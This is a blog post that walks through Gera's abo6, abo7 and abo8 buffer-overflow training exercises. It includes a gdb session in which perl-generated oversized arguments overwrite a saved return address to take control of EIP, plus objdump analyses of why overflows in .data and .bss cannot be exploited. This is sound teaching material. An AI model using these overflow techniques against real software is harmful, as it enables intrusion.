Insecure Programming by Example: abo6/7/8 Ménage à trois

This post will be pretty brief, as there are no significant differences in the solution for abo6.c from other previously covered exercises, while abo7.c and abo8.c are both not exploitable. The latter two exercises demonstrate important concepts regarding the placement of variously defined variables within memory for compiled C code which I’ll outline, but it won’t take long.

abo6.c

/* abo6.c                                       *
/* specially crafted to feed your brain by gera */

/* wwwhat'u talkin' about? */

int main(int argv,char **argc) {
    char *pbuf=malloc(strlen(argc[2])+1);
    char buf[256];

    strcpy(buf,argc[1]);
    strcpy(pbuf,argc[2]);
    while(1);
}

This code is pretty much the same as the last exercise, but with an important difference, instead of a call to exit() there is a while loop that never ends at the end of the code. In the disassembly, this looks like the following:

0x08048428 :   call   0x80482f8
0x0804842d :   mov    eax,DWORD PTR [ebp+12]
0x08048430 :   add    eax,0x8
0x08048433 :   mov    eax,DWORD PTR [eax]
0x08048435 :   mov    DWORD PTR [esp+4],eax
0x08048439 :   mov    eax,DWORD PTR [ebp-12]
0x0804843c :   mov    DWORD PTR [esp],eax
0x0804843f :   call   0x80482f8
0x08048444 :   jmp    0x8048444 

So basically, it’s a unconditional jump that targets itself, therefore it never ends. Since there is no call to a library function like exit, we can’t overwrite an entry in the GOT or some such similar tactic to gain control of execution. However, where there is a will there is a way, and we must keep in mind that we can still write arbitrarily to memory so long as permissions allow. The solution in this case is nothing revolutionary, we’ll merely directly overwrite the saved return address of the second strcpy stack frame. This is an important reminder by Gera that being able to write a value into memory is a tool with many applications, some of which I’m sure I’m not even aware of at this point.

The one tricky part of this solution is to not attempt the to overwrite the saved return address of the second strcpy stack frame until you’ve passed exactly the same size arguments you will pass for the overwrite, because the location of the saved EIP for the stack frame will be different depending on the size of the values stored in argc. In the debugger, here is what the solution looks like.

hacking@hacking-theart:~/InsecureProgramming $ gdb -q ./abo6
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disassemble main
Dump of assembler code for function main:
0x080483e4 :    push   ebp
0x080483e5 :    mov    ebp,esp
0x080483e7 :    sub    esp,0x128
0x080483ed :    and    esp,0xfffffff0
0x080483f0 :   mov    eax,0x0
0x080483f5 :   sub    esp,eax
0x080483f7 :   mov    eax,DWORD PTR [ebp+12]
0x080483fa :   add    eax,0x8
0x080483fd :   mov    eax,DWORD PTR [eax]
0x080483ff :   mov    DWORD PTR [esp],eax
0x08048402 :   call   0x80482e8
0x08048407 :   inc    eax
0x08048408 :   mov    DWORD PTR [esp],eax
0x0804840b :   call   0x8048308
0x08048410 :   mov    DWORD PTR [ebp-12],eax
0x08048413 :   mov    eax,DWORD PTR [ebp+12]
0x08048416 :   add    eax,0x4
0x08048419 :   mov    eax,DWORD PTR [eax]
0x0804841b :   mov    DWORD PTR [esp+4],eax
0x0804841f :   lea    eax,[ebp-0x118]
0x08048425 :   mov    DWORD PTR [esp],eax
0x08048428 :   call   0x80482f8
0x0804842d :   mov    eax,DWORD PTR [ebp+12]
0x08048430 :   add    eax,0x8
0x08048433 :   mov    eax,DWORD PTR [eax]
0x08048435 :   mov    DWORD PTR [esp+4],eax
0x08048439 :   mov    eax,DWORD PTR [ebp-12]
0x0804843c :   mov    DWORD PTR [esp],eax
0x0804843f :   call   0x80482f8
---Type  to continue, or q  to quit---
0x08048444 :   jmp    0x8048444
End of assembler dump.
(gdb) break *0x0804843f
Breakpoint 1 at 0x804843f: file abo6.c, line 11.
(gdb) run one two
Starting program: /home/hacking/InsecureProgramming/abo6 one two

Breakpoint 1, 0x0804843f in main (argv=3, argc=0xbffff874) at abo6.c:11
11              strcpy(pbuf,argc[2]);
(gdb) x buf
0xbffff6d0:     0x00656e6f
(gdb) x &pbuf
0xbffff7dc:     0x0804a008
(gdb) print/d 0xbffff7dc - 0xbffff6d0
$1 = 268
(gdb) run $(perl -e 'print "A" x 268 . "BBBB";') CCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/hacking/InsecureProgramming/abo6 $(perl -e 'print "A" x 268 . "BBBB";') CCCC

Breakpoint 1, 0x0804843f in main (argv=3, argc=0xbffff764) at abo6.c:11
11              strcpy(pbuf,argc[2]);
(gdb) stepi
0x080482f8 in strcpy@plt ()
(gdb) where
#0  0x080482f8 in strcpy@plt ()
#1  0x08048444 in main (argv=3, argc=0xbffff764) at abo6.c:11
(gdb) info frame 0
Stack frame at 0xbffff5b0:
 eip = 0x80482f8 in strcpy@plt; saved eip 0x8048444
 called by frame at 0xbffff6e0
 Arglist at 0xbffff5a8, args:
 Locals at 0xbffff5a8, Previous frame's sp is 0xbffff5b0
 Saved registers:
  eip at 0xbffff5ac
(gdb) run $(perl -e 'print "A" x 268 . "\xac\xf5\xff\xbf";') BBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/hacking/InsecureProgramming/abo6 $(perl -e 'print "A" x 268 . "\xac\xf5\xff\xbf";') BBBB

Breakpoint 1, 0x0804843f in main (argv=3, argc=0xbffff764) at abo6.c:11
11              strcpy(pbuf,argc[2]);
(gdb) next

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

abo7.c and abo8.c

These two exercises as mentioned previously are unexploitable. They highlight where variables are placed in memory when declared in a certain manner using C.

abo7.c

/* abo7.c                                       *
 * specially crafted to feed your brain by gera */

/* sometimes you can,       *
 * sometimes you don't      *
 * that's what life's about */

char buf[256]={1};

int main(int argv,char **argc) {
    strcpy(buf,argc[1]);
}

Here you have an initialized global variable in the form of buf. You can see pretty easily using the versatile objdump command that while this is a legitimate buffer overflow (using an unbounded function like strcpy), the location of this variable precludes any useful behavior for taking control of the program.

hacking@hacking-theart:~/InsecureProgramming $ objdump -x abo7 | grep buf
080495a0 g     O .data  00000100              buf
hacking@hacking-theart:~/InsecureProgramming $ objdump -x abo7

abo7:     file format elf32-i386
abo7
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x080482b0
<...snip>
 10 .plt          00000040  08048270  08048270  00000270  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .text         000001a0  080482b0  080482b0  000002b0  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .fini         0000001c  08048450  08048450  00000450  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .rodata       00000008  0804846c  0804846c  0000046c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 14 .eh_frame     00000004  08048474  08048474  00000474  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 15 .ctors        00000008  08049478  08049478  00000478  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 16 .dtors        00000008  08049480  08049480  00000480  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 17 .jcr          00000004  08049488  08049488  00000488  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 18 .dynamic      000000c8  0804948c  0804948c  0000048c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .got          00000004  08049554  08049554  00000554  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .got.plt      00000018  08049558  08049558  00000558  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .data         00000120  08049580  08049580  00000580  2**5
                  CONTENTS, ALLOC, LOAD, DATA
 22 .bss          00000004  080496a0  080496a0  000006a0  2**2
                  ALLOC

080495a0 g     O .data  00000100              buf
080496a0 g       *ABS*  00000000              _edata
08048419 g     F .text  00000000              .hidden __i686.get_pc_thunk.bx
08048374 g     F .text  0000002a              main
08048258 g     F .init  00000000              _init

abo8.c

Gera says: Don’t stay static

/* abo8.c                                       *
 * specially crafted to feed your brain by gera */

/* spot the difference */

char buf[256];

int main(int argv,char **argc) {
	strcpy(buf,argc[1]);
}

Gera continues: From the top of your head, what do you think is generally more safe, a program dynamically linked to its libraries or one statically linked to them? Now go and try it out!

In this next example, very similar restrictions apply, with Gera challenging you to spot the difference between the two. Since buf in this case is uninitialized, it is stored in the .bss section of the ELF executable.

hacking@hacking-theart:~/InsecureProgramming $ objdump -x abo8 | grep buf
080495a0 g     O .bss   00000100              buf
hacking@hacking-theart:~/InsecureProgramming $ objdump -x abo8

abo8:     file format elf32-i386
abo8
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x080482b0
<...snip...>
 10 .plt          00000040  08048270  08048270  00000270  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .text         000001a0  080482b0  080482b0  000002b0  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .fini         0000001c  08048450  08048450  00000450  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .rodata       00000008  0804846c  0804846c  0000046c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 14 .eh_frame     00000004  08048474  08048474  00000474  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 15 .ctors        00000008  08049478  08049478  00000478  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 16 .dtors        00000008  08049480  08049480  00000480  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 17 .jcr          00000004  08049488  08049488  00000488  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 18 .dynamic      000000c8  0804948c  0804948c  0000048c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .got          00000004  08049554  08049554  00000554  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .got.plt      00000018  08049558  08049558  00000558  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .data         0000000c  08049570  08049570  00000570  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .bss          00000120  08049580  08049580  0000057c  2**5
                  ALLOC
 23 .comment      0000012f  00000000  00000000  0000057c  2**0
                  CONTENTS, READONLY
<...snip...>
080495a0 g     O .bss   00000100              buf
0804957c g       *ABS*  00000000              _edata
08048419 g     F .text  00000000              .hidden __i686.get_pc_thunk.bx
08048374 g     F .text  0000002a              main
08048258 g     F .init  00000000              _init

I’m a little disconcerted by the fact that I’m not sure what Gera was driving at with his hints in this one, I’ve been over and over it, and I’m pretty sure the compilation options don’t matter. If you were to compile this as a statically-linked executable, you’d still have almost nothing to work with to control execution, because buf still exists in a memory region that’s pretty much useless to have a buffer overflow in. I’m sure there is some point, but I don’t see it. It may be that with an older compiler on an older distribution this example had some useful lessons to teach, certainly the point about .data versus .bss is well taken. In a previous exercise, I alluded to a paper by Juan M. Bello Rivas (see Books & Pubs for more) on overwriting .dtors 0xFFFFFFFF values to redirect execution which I think would also have some possibilities for these examples, but I don’t have an old enough system to test on.

For the last word on this particular issue (and the general usefulness of control of variables in these sections) I’d like to provide an excerpt from the book The Art of Software Security Assessment by Mark Dowd, John McDonald, and Justin Schuh.  This book is a nice resource to have, I’d recommend that if you don’t already own it you go purchase a copy and keep it on the shelf, using it as a pre-Google resource or jumping off point.

Global and Static Data Overflows

Global and static variables are used to store data that persists between different function calls, so they are generally stored in a different memory segment than stack and heap variables are. Normally, these locations don’t contain general program runtime data structures, such as stack activation records and heap chunk data, so exploiting an overflow in this segment requires application-specific attacks similar to the vulnerability in Listing 5-2. Exploitability depends on what variables can be corrupted when the buffer overflow occurs and how the variables are used. For example, if pointer variables can be corrupted, the likelihood of exploitation increases, as this corruption introduces the possibility for arbitrary memory overwrites.

Listing 5-2

Off-by-One Length Miscalculation

int authenticate(char *username, char *password)
{
    int authenticated;
    char buffer[1024];

    authenticated = verify_password(username, password);

    if(authenticated == 0)
    {
        sprintf(buffer, "password is incorrect for user %s\n", username);
        log("%s", buffer);
    }

    return authenticated;
}

Next up, we screw with malloc and make it to what we want, trying to learn something about it’s implementation to boot.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: